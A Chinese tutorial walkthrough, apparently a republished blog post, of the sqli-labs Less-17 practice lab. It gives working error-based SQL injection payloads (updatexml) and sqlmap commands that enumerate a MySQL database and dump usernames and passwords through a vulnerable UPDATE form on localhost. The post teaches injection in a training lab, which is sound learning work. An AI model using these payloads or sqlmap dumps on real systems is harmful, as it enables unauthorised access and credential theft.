sqli-labs:Less-17關卡詳細解析

1. 思路🚀

本關的SQL語句為:

@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
  • 注入類型:字符串型(單引號包裹)、POST請求、UPDATE請求
  • 提示:參數需以'閉合

php輸出語句的部分代碼:

if (mysql_error())
{echo '<font color= "#FFFF00" font size = 3 >';print_r(mysql_error());echo "</br></br>";echo "</font>";
}
else
{echo '<font color= "#FFFF00" font size = 3 >';//echo " You password has been successfully updated " ;		echo "<br>";echo "</font>";
}

值得注意的是,本關卡的落腳點是password,而非username,根據SQL語句可知,還必須知道其中一個用戶的賬號,不然update語句就進行不下去。暫且利用其中一個用戶賬號名admin,根據提示信息,使用報錯盲注。

在這里插入圖片描述


2. 手工注入步驟🎯

我的地址欄是:http://localhost:8081/Less-17/,只需要將下面的urlpost data放入對應位置,粘貼即可。

2.1. 判斷能否注入?

uname=admin&passwd=1' order by 3 #
&submit=Submit

在這里插入圖片描述


2.2. 獲取數據庫?

uname=admin&passwd=1' and updatexml(1,concat(1,(select database())),3) #
&submit=Submit

在這里插入圖片描述


2.3. 獲取表名?

uname=admin&passwd=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3) #
&submit=Submit

在這里插入圖片描述


2.4. 獲取字段?

uname=admin&passwd=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),3) #
&submit=Submit

在這里插入圖片描述


2.5. 獲取數據?

tmp:將目標表包裝成子查詢結果(臨時表)

uname=admin&passwd=1' and updatexml(1,concat(1,(select concat(username,':',password) from (select * from users) as tmp where username='admin' limit 1)),3) #
&submit=Submit

在這里插入圖片描述

假如你使用了類似下面的語句,報圖中錯誤:

uname=admin&passwd=1' and updatexml(1,concat(1,(select password from users limit 0,1)),3) #
&submit=Submit

在這里插入圖片描述

這是因為在updatedeleteinsert語句的子查詢中,不能直接引用正在被修改的表??。你的報錯注入使用了updatexml,而 updatexml本質上是一個?更新操作??(雖然目的是觸發錯誤),因此受此限制影響。


2.6. 參數匯總表?

參數作用示例
'閉合符號id=1'
#注釋符#
updatexml()報錯注入函數updatexml(1,(select database()),3)
concat()字符串拼接函數concat('a','b')concat(1,(select database()))
information_schema系統數據庫from information_schema.tables
table_schema數據庫名稱table_schema='security'
table_name數據表名稱table_name='users'
column_name字段名稱group_concat(column_name)

3. SQLMap工具測試🎯

url地址換成自己的,比如:http://localhost:8081/Less-17/,由于本關卡為post請求,需要加參數指明請求格式,
--data="uname=admin&passwd=123456"passwd的值隨意,具體如下:?

# 檢測注入點
python sqlmap.py -u "http://localhost:8081/Less-17/" --data="uname=admin&passwd=123456" --batch# 爆數據庫
python sqlmap.py -u "url" --data="uname=admin&passwd=123456" --dbs --batch# 爆表名
python sqlmap.py -u "url" --data="uname=admin&passwd=123456" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" --data="uname=admin&passwd=123456" -D security -T users --columns --batch# 爆數據
python sqlmap.py -u "url" --data="uname=admin&passwd=123456" -D security -T users -C id,username,password --dump --batch

命令1截圖:
在這里插入圖片描述

命令5截圖:
在這里插入圖片描述

奇怪的是賬號密碼全為NULL,這或許是源代碼的問題,不過之前的4條命令都可正常獲取基本信息。

SQLMap參數表?

參數功能
--batch非交互模式
--dbs枚舉數據庫
-D指定數據庫
-T指定表
-C指定列
--dump導出數據

4. 總結🏁

有關報錯盲注的解析,關卡5最為詳細,歡迎移步"sqli-labs:Less-5關卡詳細解析"
https://blog.csdn.net/qq_62000508/article/details/149778521?spm=1011.2124.3001.6209


聲明:本文僅用于安全學習,嚴禁非法測試! ???

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/91637.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/91637.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/91637.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

文心一言:推動 AIGC 領域進步

文心一言:推動AIGC領域進步 關鍵詞:文心一言、AIGC、自然語言處理、多模態生成、大模型、技術架構、應用場景 摘要:本文深入剖析百度文心一言在AIGC(人工智能生成內容)領域的技術創新與實踐成果。通過解析其核心技術架構、多模態生成原理、工程化落地策略及行業應用案例,…

第15講——微分方程

文章目錄思維導圖基本概念微分方程及其階思維導圖 基本概念 微分方程及其階

RAGFlow Agent 知識檢索節點源碼解析:從粗排到精排的完整流程

RAGFlow Agent 知識檢索節點深度解析&#xff1a;從查詢到重排序的完整流程 1. 總體架構概覽 RAGFlow Agent 中的知識檢索&#xff08;Retrieval&#xff09;節點是整個RAG系統的核心組件&#xff0c;負責從知識庫中找到與用戶查詢最相關的文檔片段。檢索流程可以分為以下幾個…

Python算法實戰:從排序到B+樹全解析

Python中常見的算法示例 以下是Python中常見的算法示例,涵蓋基礎算法和經典問題解決方案,代碼可直接運行: 排序算法 冒泡排序 def bubble_sort(arr):n = len(arr)for i in range(n):for j in range(0, n-i-1):if arr[j] > arr[j+1]:arr[j], arr[j+1] = arr[j+1], arr…

【C++算法】85.BFS解決最短路徑問題_最小基因變化

文章目錄題目鏈接&#xff1a;題目描述&#xff1a;解法C 算法代碼&#xff1a;題目鏈接&#xff1a; 433. 最小基因變化 題目描述&#xff1a; 解法 先看懂題目 先把這個問題轉化&#xff1a;圖論問題 邊權為1的最短路問題。 為什么可以這么想&#xff1f;&#xff01; 因為每…

基于單片機汽車少兒安全預警系統

文章目錄一、前言1.1 項目介紹【1】項目開發背景【2】設計實現的功能【3】項目硬件模塊組成【4】設計意義【5】市面上同類產品研究現狀【6】摘要1.2 設計思路1.3 系統功能總結1.4 開發工具的選擇【1】設備端開發【2】上位機開發1.5 模塊的技術詳情介紹1.6 框架圖框架圖說明&…

Mac 上配置jdk 環境變量

核心步驟是設置 JAVA_HOME 變量&#xff0c;并將其 bin 目錄添加到系統的 PATH 變量中。 macOS 從 Catalina (10.15) 版本開始&#xff0c;默認的終端 Shell 從 bash 切換到了 zsh。因此&#xff0c;你需要先確定你正在使用的 Shell&#xff0c;然后編輯對應的配置文件。步驟一…

硬件-音頻學習DAY1——音箱材料選擇:密度板為何完勝實木

每日更新教程&#xff0c;評論區答疑解惑&#xff0c;小白也能變大神&#xff01;" 目錄 一.音箱材料選擇的關鍵因素 二.密度板的聲學優勢 三.材料穩定性的對比 四.生產工藝的適應性 五.成本與環保的平衡 六.特殊場景的例外情況 七.消費者選購指南 八.行業發展趨勢…

微波(Microwave)與毫米波(Millimeter wave)簡介

一、電磁波頻段劃分&#xff0c;微波與毫米波所屬 二、微波 可以看出UHF及以上的頻段都可以統稱為微波。記得之前上微波技術實驗課的時候會接觸比巴掌還大的金屬波導&#xff0c;后來每次看到微波技術的時候都還是感到陌生。今天突然想到&#xff0c;不像在手機里就能完成的5G頻…

ObjectMapper教程

ObjectMapper 簡介ObjectMapper 是 Jackson 庫的核心類&#xff0c;用于 Java 對象與 JSON 數據之間的相互轉換。它支持序列化&#xff08;對象轉 JSON&#xff09;和反序列化&#xff08;JSON 轉對象&#xff09;&#xff0c;廣泛應用于 REST API、數據存儲和配置處理等場景。…

【Node.js安裝注意事項】-安裝路徑不能有空格

問題描述&#xff1a;在項目中使用 nodemon時&#xff0c;出現了nodemon 啟動問題&#xff1a;nodemon : 無法將“nodemon”項識別為 cmdlet、函數、腳本文件或可運行程序的名稱。解決辦法&#xff1a;在網上找了很多教程&#xff0c;試了很多辦法&#xff0c;什么重新配置環境…

Shader開發(六)什么是著色器

在前面的章節中&#xff0c;我們簡要提到了著色器的概念&#xff0c;現在有了渲染管線的基礎知識&#xff0c;我們可以更深入地理解著色器的真正含義。著色器&#xff08;Shader&#xff09;是運行在圖形處理單元&#xff08;GPU&#xff09;上的專用程序&#xff0c;這與我們日…

操作系統-lecture4(進程的調度)

進程的切換 接下來需要了解兩個問題 誰觸發了進程切換進程切換的動作 中斷技術 中斷源 中斷處理過程&#xff08;陷阱機制&#xff09; 特權指令和非特權指令 Privileged Instructions&#xff1a;特權指令 ?The Instructions that can run only in Kernel Mode are called…

機器人程序優化

機器人程序優化核心摘要 本視頻詳細講解了機器人程序優化的方法與實踐&#xff0c;旨在提高程序的可讀性和復用性。通過學習文件夾、子程序調用以及路點優化等核心概念&#xff0c;觀眾將掌握如何將復雜的機器人搬運程序進行結構化整理&#xff0c;使其更易于理解、調試和在不…

一套視頻快速入門并精通PostgreSQL

PostgreSQL從入門到精通系列PostgreSQL數據庫是一個對理論知識與操作能力并重的技術&#xff0c;想要快速入門PostgreSQL數據庫&#xff0c;這兩個方面都要重視。這里的PostgreSQL從入門到精通&#xff0c;是專門針對剛入門的新手小白而錄制的一套&#xff0c;有理論講解也有動…

供應商管理系統有哪些功能?

在企業供應鏈數字化體系中&#xff0c;供應商管理系統是連接企業與外部合作伙伴的核心樞紐。以鯨采云采購管理系統的供應商模塊為例&#xff0c;其功能設計圍繞 “全生命周期管理 風險防控 協同效率” 三大核心&#xff0c;通過技術手段解決傳統供應商管理中的信息碎片化、流…

新手向:國內外大模型體驗與評測

國內外大模型體驗與評測技術詳解 近年來,人工智能領域的大模型技術取得了突破性進展,以GPT-4、Claude、文心一言等為代表的大語言模型(LLM)已經成為行業熱點。國內外科技巨頭紛紛布局這一賽道:國外有OpenAI的GPT系列、Anthropic的Claude、Google的PaLM,國內則有百度的文…

深度解讀 CSGHub:開源協議、核心功能與產品定位

在大模型時代&#xff0c;“可用”不再足夠&#xff0c;企業更需要“可管”、“可控”、“可演進”的一體化解決方案。作為國產開源陣營的中堅力量&#xff0c;CSGHub 如何從“開源與協議”到“功能定位”層層打磨&#xff0c;滿足不同行業對合規、安全和靈活部署的訴求&#x…

本土化DevOps實踐新篇章:Gitee引領企業高效協作新時代

本土化DevOps實踐新篇章&#xff1a;Gitee引領企業高效協作新時代 在數字化轉型的浪潮席卷全球的當下&#xff0c;軟件開發與運維的協同效率已經成為決定企業競爭力的關鍵因素。隨著國內企業對于數據安全和合規性的要求日益嚴格&#xff0c;尋找一套既符合本土監管要求又能提升…

B樹、B+樹、紅黑樹區別

一、核心概念與性質對比1. B樹&#xff08;Balanced Tree&#xff09;定位&#xff1a;多路平衡搜索樹&#xff0c;專為磁盤存儲優化核心性質&#xff1a;每個節點存儲 k-1個鍵值和k個子節點指針&#xff08;m/2 ≤ k ≤ m&#xff0c;m為階數&#xff09;所有葉子節點位于同一…